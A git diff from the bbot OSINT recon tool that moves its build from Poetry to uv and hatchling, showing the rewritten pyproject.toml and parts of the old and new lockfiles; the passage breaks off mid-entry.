"sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c"}, -] - -[[package]] -name = "zipp" -version = "3.23.0" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, - {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] -type = ["pytest-mypy"] - -[metadata] -lock-version = "2.1" -python-versions = "^3.10" -content-hash = "f91c1bf51adf4f8e639531cbd4eee26c32c1f3dde4d8d7e35ebfc0e9d4e7bcf9" diff --git a/pyproject.toml b/pyproject.toml index ff2b5a399b..aa63cc70bc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,92 +1,106 @@ -[tool.poetry] +[project] name = "bbot" -version = "3.0.0" +dynamic = ["version"] description = "OSINT automation for hackers." +readme = "README.md" +license = "GPL-3.0" +requires-python = ">=3.10" authors = [ - "TheTechromancer", - "Paul Mueller", + { name = "TheTechromancer" }, + { name = "Paul Mueller" }, ] -license = "GPL-3.0" -readme = "README.md" -repository = "https://github.com/blacklanternsecurity/bbot" -homepage = "https://github.com/blacklanternsecurity/bbot" -documentation = "https://www.blacklanternsecurity.com/bbot/" keywords = ["python", "cli", "automation", "osint", "threat-intel", "intelligence", "neo4j", "scanner", "python-library", "hacking", "recursion", "pentesting", "recon", "command-line-tool", "bugbounty", "subdomains", "security-tools", "subdomain-scanner", "osint-framework", "attack-surface", "subdomain-enumeration", "osint-tool"] classifiers = [ "Operating System :: POSIX :: Linux", "Topic :: Security", ] +dependencies = [ + "omegaconf>=2.3.0,<3", + "psutil>=5.9.4,<8.0.0", + "wordninja>=2.0.0,<3", + "ansible-runner>=2.3.2,<3", + "deepdiff>=8.0.0,<9", + "xmltojson>=2.0.2,<3", + "pycryptodome>=3.17,<4", + "idna>=3.4,<4", + "tabulate==0.8.10", + "websockets>=14.0.0,<16.0.0", + "pyjwt>=2.7.0,<3", + "beautifulsoup4>=4.12.2,<5", + "lxml>=4.9.2,<7.0.0", + "dnspython>=2.7.0,<2.8.0", + "cachetools>=5.3.2,<7.0.0", + "socksio>=1.0.0,<2", + "jinja2>=3.1.3,<4", + "regex>=2024.4.16,<2027.0.0", + "unidecode>=1.3.8,<2", + "mmh3>=4.1,<6.0", + "xxhash>=3.5.0,<4", + "setproctitle>=1.3.3,<2", + "yara-python>=4.5.1,<5", + "pyzmq>=26.0.3,<28.0.0", + "httpx>=0.28.1,<1", + "puremagic>=1.28,<2", + "pydantic>=2.9.2,<3", + "radixtarget>=3.0.13,<4", + "orjson>=3.10.12,<4", + "ansible-core>=2.15.13,<3", + "tldextract>=5.3.0,<6", + "cloudcheck>=9.2.0,<10", +] -[tool.poetry.urls] -"Discord" = "https://discord.com/invite/PZqkgxu5SA" +[project.urls] +Repository = "https://github.com/blacklanternsecurity/bbot" +Homepage = "https://github.com/blacklanternsecurity/bbot" +Documentation = "https://www.blacklanternsecurity.com/bbot/" +Discord = "https://discord.com/invite/PZqkgxu5SA" "Docker Hub" = "https://hub.docker.com/r/blacklanternsecurity/bbot" -[tool.poetry.scripts] -bbot = 'bbot.cli:main' +[project.scripts] +bbot = "bbot.cli:main" + +[dependency-groups] +dev = [ + "urllib3>=2.0.2,<3", + "werkzeug>=2.3.4,<4.0.0", + "pytest-env>=0.8.2,<1.2.0", + "pre-commit>=3.4,<5.0", + "pytest-cov>=5,<8", + "pytest-rerunfailures>=14,<17", + "pytest-timeout>=2.3.1,<3", + "pytest-httpserver>=1.0.11,<2", + "pytest>=8.3.1,<9", + "pytest-asyncio==1.2.0", + "uvicorn>=0.32,<0.40", + "fastapi>=0.115.5,<0.129.0", + "pytest-httpx>=0.35", + "pytest-benchmark>=4,<6", + "ruff==0.14.14", +] +docs = [ + "mkdocs>=1.5.2,<2", + "mkdocs-extra-sass-plugin>=0.1.0,<1", + "mkdocs-material>=9.2.5,<10", + "mkdocs-material-extensions>=1.1.1,<2", + "mkdocstrings>=0.22,<0.31", + "mkdocstrings-python>=2.0.0,<3", + "griffe>=1,<2", + "livereload>=2.6.3,<3", + "mike>=2.1.3,<3", +] + +[build-system] +requires = ["hatchling", "hatch-vcs"] +build-backend = "hatchling.build" -[tool.poetry.dependencies] -python = "^3.10" -omegaconf = "^2.3.0" -psutil = ">=5.9.4,<8.0.0" -wordninja = "^2.0.0" -ansible-runner = "^2.3.2" -deepdiff = "^8.0.0" -xmltojson = "^2.0.2" -pycryptodome = "^3.17" -idna = "^3.4" -tabulate = "0.8.10" -websockets = ">=14.0.0,<16.0.0" -pyjwt = "^2.7.0" -beautifulsoup4 = "^4.12.2" -lxml = ">=4.9.2,<7.0.0" -dnspython = ">=2.7.0,<2.8.0" -cachetools = ">=5.3.2,<7.0.0" -socksio = "^1.0.0" -jinja2 = "^3.1.3" -regex = ">=2024.4.16,<2027.0.0" -unidecode = "^1.3.8" -mmh3 = ">=4.1,<6.0" -xxhash = "^3.5.0" -setproctitle = "^1.3.3" -yara-python = "^4.5.1" -pyzmq = ">=26.0.3,<28.0.0" -httpx = "^0.28.1" -puremagic = "^1.28" -pydantic = "^2.9.2" -radixtarget = "^3.0.13" -orjson = "^3.10.12" -ansible-core = "^2.15.13" -tldextract = "^5.3.0" -cloudcheck = "^9.2.0" +[tool.hatch.version] +source = "vcs" -[tool.poetry.group.dev.dependencies] -poetry-dynamic-versioning = ">=0.21.4,<1.10.0" -urllib3 = "^2.0.2" -werkzeug = ">=2.3.4,<4.0.0" -pytest-env = ">=0.8.2,<1.2.0" -pre-commit = ">=3.4,<5.0" -pytest-cov = ">=5,<8" -pytest-rerunfailures = ">=14,<17" -pytest-timeout = "^2.3.1" -pytest-httpserver = "^1.0.11" -pytest = "^8.3.1" -pytest-asyncio = "1.2.0" -uvicorn = ">=0.32,<0.40" -fastapi = ">=0.115.5,<0.129.0" -pytest-httpx = ">=0.35" -pytest-benchmark = ">=4,<6" -ruff = "0.14.14" +[tool.hatch.build.hooks.vcs] +version-file = "bbot/_version.py" -[tool.poetry.group.docs.dependencies] -mkdocs = "^1.5.2" -mkdocs-extra-sass-plugin = "^0.1.0" -mkdocs-material = "^9.2.5" -mkdocs-material-extensions = "^1.1.1" -mkdocstrings = ">=0.22,<0.31" -mkdocstrings-python = "^2.0.0" -griffe = "^1" -livereload = "^2.6.3" -mike = "^2.1.3" +[tool.hatch.build.targets.wheel] +packages = ["bbot"] [tool.pytest.ini_options] env = [ @@ -105,10 +119,6 @@ warmup_iterations = 3 disable_gc = true min_rounds = 5 -[build-system] -requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning"] -build-backend = "poetry_dynamic_versioning.backend" - [tool.codespell] ignore-words-list = "bu,cna,couldn,dialin,nd,ned,thirdparty" skip = "./docs/javascripts/vega*.js,./bbot/wordlists/*" @@ -118,11 +128,3 @@ line-length = 119 format.exclude = ["bbot/test/test_step_1/test_manager_*"] lint.select = ["E", "F"] lint.ignore = ["E402", "E711", "E713", "E721", "E741", "F403", "F405", "E501"] - -[tool.poetry-dynamic-versioning] -enable = true -metadata = false -format-jinja = 'v3.0.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' - -[tool.poetry-dynamic-versioning.substitution] -files = ["*/__init__.py"] diff --git a/uv.lock b/uv.lock new file mode 100644 index 0000000000..d0efddd65b --- /dev/null +++ b/uv.lock @@ -0,0 +1,3067 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.12'", + "python_full_version == '3.11.*'", + "python_full_version < '3.11'", +] + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.17.14" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version < '3.11'" }, + { name = "jinja2", marker = "python_full_version < '3.11'" }, + { name = "packaging", marker = "python_full_version < '3.11'" }, + { name = "pyyaml", marker = "python_full_version < '3.11'" }, + { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ff/80/2925a0564f6f99a8002c3be3885b83c3a1dc5f57ebf00163f528889865f5/ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8", size = 3119687, upload-time = "2025-09-08T18:28:03.158Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/29/d694562f1a875b50aa74f691521fe493704f79cf1938cd58f28f7e2327d2/ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35", size = 2189656, upload-time = "2025-09-08T18:28:00.375Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.19.6" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version == '3.11.*'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version == '3.11.*'" }, + { name = "jinja2", marker = "python_full_version == '3.11.*'" }, + { name = "packaging", marker = "python_full_version == '3.11.*'" }, + { name = "pyyaml", marker = "python_full_version == '3.11.*'" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8b/98/ca1135c50aa3004367ff1f66c101a565ac17b4bfa1c9f9a2d8e395e06775/ansible_core-2.19.6.tar.gz", hash = "sha256:1e6b711e357901422592a1d1e4a076eee918497587646a5843fa61536ede1990", size = 3414480, upload-time = "2026-01-29T19:24:10.09Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/2e/5127c0321b7fad3e636a3b2343e711b64bdb77f25a6de0d579268f8b77cc/ansible_core-2.19.6-py3-none-any.whl", hash = "sha256:a29c5df4b46cc3f4123e5aac15f3626b925841b9844fa88d3890a0c45a9a4469", size = 2415790, upload-time = "2026-01-29T19:24:07.595Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.20.2" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version >= '3.12'" }, + { name = "jinja2", marker = "python_full_version >= '3.12'" }, + { name = "packaging", marker = "python_full_version >= '3.12'" }, + { name = "pyyaml", marker = "python_full_version >= '3.12'" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/56/a76adc20dee854b52a3e20fcb9c01280bbac52ef54308e5b1c7bc67ade76/ansible_core-2.20.2.tar.gz", hash = "sha256:75e19a3ad8cf659579ea182cdf948ee0900d700e564802e92876de53dbd9715d", size = 3317427, upload-time = "2026-01-29T19:25:04.814Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d9/89/9d0d5ce1e63e57d59ae1c873a2c2b08ab104bd3bea365db46c3140371271/ansible_core-2.20.2-py3-none-any.whl", hash = "sha256:1bbd101e3e3b1ace91d8be123007050f7efd94c4c78bbeb9e45ad1c7016d08ef", size = 2412886, upload-time = "2026-01-29T19:25:03.04Z" }, +] + +[[package]] +name = "ansible-runner" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, + { name = "pexpect" }, + { name = "python-daemon" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/db/65b9e058807d313c495a6f4365cc11234d0391c5843659ddc27cc4bf1677/ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420", size = 152047, upload-time = "2025-10-14T19:10:50.159Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/da/19512e72e9cf2b8e7e6345264baa6c7ac1bb0ab128eb19c73a58407c4566/ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893", size = 79758, upload-time = "2025-10-14T19:10:48.994Z" }, +] + +[[package]] +name = "antlr4-python3-runtime" +version = "4.9.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/38/7859ff46355f76f8d19459005ca000b6e7012f2f1ca597746cbcd1fbfe5e/antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b", size = 117034, upload-time = "2021-11-06T17:52:23.524Z" } + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] + +[[package]] +name = "babel" +version = "2.18.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/b2/51899539b6ceeeb420d40ed3cd4b7a40519404f9baf3d4ac99dc413a834b/babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d", size = 9959554, upload-time = "2026-02-01T12:30:56.078Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/77/f5/21d2de20e8b8b0408f0681956ca2c69f1320a3848ac50e6e7f39c6159675/babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35", size = 10196845, upload-time = "2026-02-01T12:30:53.445Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "backrefs" +version = "6.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/86/e3/bb3a439d5cb255c4774724810ad8073830fac9c9dee123555820c1bcc806/backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231", size = 7011962, upload-time = "2025-11-15T14:52:08.323Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/ee/c216d52f58ea75b5e1841022bbae24438b19834a29b163cb32aa3a2a7c6e/backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1", size = 381059, upload-time = "2025-11-15T14:51:59.758Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9a/8da246d988ded941da96c7ed945d63e94a445637eaad985a0ed88787cb89/backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7", size = 392854, upload-time = "2025-11-15T14:52:01.194Z" }, + { url = "https://files.pythonhosted.org/packages/37/c9/fd117a6f9300c62bbc33bc337fd2b3c6bfe28b6e9701de336b52d7a797ad/backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a", size = 398770, upload-time = "2025-11-15T14:52:02.584Z" }, + { url = "https://files.pythonhosted.org/packages/eb/95/7118e935b0b0bd3f94dfec2d852fd4e4f4f9757bdb49850519acd245cd3a/backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05", size = 400726, upload-time = "2025-11-15T14:52:04.093Z" }, + { url = "https://files.pythonhosted.org/packages/1d/72/6296bad135bfafd3254ae3648cd152980a424bd6fed64a101af00cc7ba31/backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853", size = 412584, upload-time = "2025-11-15T14:52:05.233Z" }, + { url = "https://files.pythonhosted.org/packages/02/e3/a4fa1946722c4c7b063cc25043a12d9ce9b4323777f89643be74cef2993c/backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0", size = 381058, upload-time = "2025-11-15T14:52:06.698Z" }, +] + +[[package]] +name = "bbot" +source = { editable = "." } +dependencies = [ + { name = "ansible-core", version = "2.17.14", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "ansible-core", version = "2.19.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, + { name = "ansible-core", version = "2.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, + { name = "ansible-runner" }, + { name = "beautifulsoup4" }, + { name = "cachetools" }, + { name = "cloudcheck" }, + { name = "deepdiff" }, + { name = "dnspython" }, + { name = "httpx" }, + { name = "idna" }, + { name = "jinja2" }, + { name = "lxml" }, + { name = "mmh3" }, + { name = "omegaconf" }, + { name = "orjson" }, + { name = "psutil" }, + { name = "puremagic" }, + { name = "pycryptodome" }, + { name = "pydantic" }, + { name = "pyjwt" }, + { name = "pyzmq" }, + { name = "radixtarget" }, + { name = "regex" }, + { name = "setproctitle" }, + { name = "socksio" }, + { name = "tabulate" }, + { name = "tldextract" }, + { name = "unidecode" }, + { name = "websockets" }, + { name = "wordninja" }, + { name = "xmltojson" }, + { name = "xxhash" }, + { name = "yara-python" }, +] + +[package.dev-dependencies] +dev = [ + { name = "fastapi" }, + { name = "pre-commit" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-benchmark" }, + { name = "pytest-cov" }, + { name = "pytest-env" }, + { name = "pytest-httpserver" }, + { name = "pytest-httpx" }, + { name = "pytest-rerunfailures" }, + { name = "pytest-timeout" }, + { name = "ruff" }, + { name = "urllib3" }, + { name = "uvicorn" }, + { name = "werkzeug" }, +] +docs = [ + { name = "griffe" }, + { name = "livereload" }, + { name = "mike" }, + { name = "mkdocs" }, + { name = "mkdocs-extra-sass-plugin" }, + { name = "mkdocs-material" }, + { name = "mkdocs-material-extensions" }, + { name = "mkdocstrings" }, + { name = "mkdocstrings-python" }, +] + +[package.metadata] +requires-dist = [ + { name = "ansible-core", specifier = ">=2.15.13,<3" }, + { name = "ansible-runner", specifier = ">=2.3.2,<3" }, + { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, + { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, + { name = "cloudcheck", specifier = ">=9.2.0,<10" }, + { name = "deepdiff", specifier = ">=8.0.0,<9" }, + { name = "dnspython", specifier = ">=2.7.0,<2.8.0" }, + { name = "httpx", specifier = ">=0.28.1,<1" }, + { name = "idna", specifier = ">=3.4,<4" }, + { name = "jinja2", specifier = ">=3.1.3,<4" }, + { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, + { name = "mmh3", specifier = ">=4.1,<6.0" }, + { name = "omegaconf", specifier = ">=2.3.0,<3" }, + { name = "orjson", specifier = ">=3.10.12,<4" }, + { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, + { name = "puremagic", specifier = ">=1.28,<2" }, + { name = "pycryptodome", specifier = ">=3.17,<4" }, + { name = "pydantic", specifier = ">=2.9.2,<3" }, + { name = "pyjwt", specifier = ">=2.7.0,<3" }, + { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, + { name = "radixtarget", specifier = ">=3.0.13,<4" }, + { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, + { name = "setproctitle", specifier = ">=1.3.3,<2" }, + { name = "socksio", specifier = ">=1.0.0,<2" }, + { name = "tabulate", specifier = "==0.8.10" }, + { name = "tldextract", specifier = ">=5.3.0,<6" }, + { name = "unidecode", specifier = ">=1.3.8,<2" }, + { name = "websockets", specifier = ">=14.0.0,<16.0.0" }, + { name = "wordninja", specifier = ">=2.0.0,<3" }, + { name = "xmltojson", specifier = ">=2.0.2,<3" }, + { name = "xxhash", specifier = ">=3.5.0,<4" }, + { name = "yara-python", specifier = ">=4.5.1,<5" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, + { name = "pre-commit", specifier = ">=3.4,<5.0" }, + { name = "pytest", specifier = ">=8.3.1,<9" }, + { name = "pytest-asyncio", specifier = "==1.2.0" }, + { name = "pytest-benchmark", specifier = ">=4,<6" }, + { name = "pytest-cov", specifier = ">=5,<8" }, + { name = "pytest-env", specifier = ">=0.8.2,<1.2.0" }, + { name = "pytest-httpserver", specifier = ">=1.0.11,<2" }, + { name = "pytest-httpx", specifier = ">=0.35" }, + { name = "pytest-rerunfailures", specifier = ">=14,<17" }, + { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, + { name = "ruff", specifier = "==0.14.14" }, + { name = "urllib3", specifier = ">=2.0.2,<3" }, + { name = "uvicorn", specifier = ">=0.32,<0.40" }, + { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, +] +docs = [ + { name = "griffe", specifier = ">=1,<2" }, + { name = "livereload", specifier = ">=2.6.3,<3" }, + { name = "mike", specifier = ">=2.1.3,<3" }, + { name = "mkdocs", specifier = ">=1.5.2,<2" }, + { name = "mkdocs-extra-sass-plugin", specifier = ">=0.1.0,<1" }, + { name = "mkdocs-material", specifier = ">=9.2.5,<10" }, + { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, + { name = "mkdocstrings", specifier = ">=0.22,<0.31" }, + { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, +] + +[[package]] +name = "beautifulsoup4" +version = "4.14.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "soupsieve" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/b0/1c6a16426d389813b48d95e26898aff79abbde42ad353958ad95cc8c9b21/beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86", size = 627737, upload-time = "2025-11-30T15:08:26.084Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/39/47f9197bdd44df24d67ac8893641e16f386c984a0619ef2ee4c51fbbc019/beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb", size = 107721, upload-time = "2025-11-30T15:08:24.087Z" }, +] + +[[package]] +name = "cachetools" +version = "6.2.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/39/91/d9ae9a66b01102a18cd16db0cf4cd54187ffe10f0865cc80071a4104fbb3/cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6", size = 32363, upload-time = "2026-01-27T20:32:59.956Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/45/f458fa2c388e79dd9d8b9b0c99f1d31b568f27388f2fdba7bb66bbc0c6ed/cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda", size = 11668, upload-time = "2026-01-27T20:32:58.527Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, + { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, + { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, + { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, + { url = 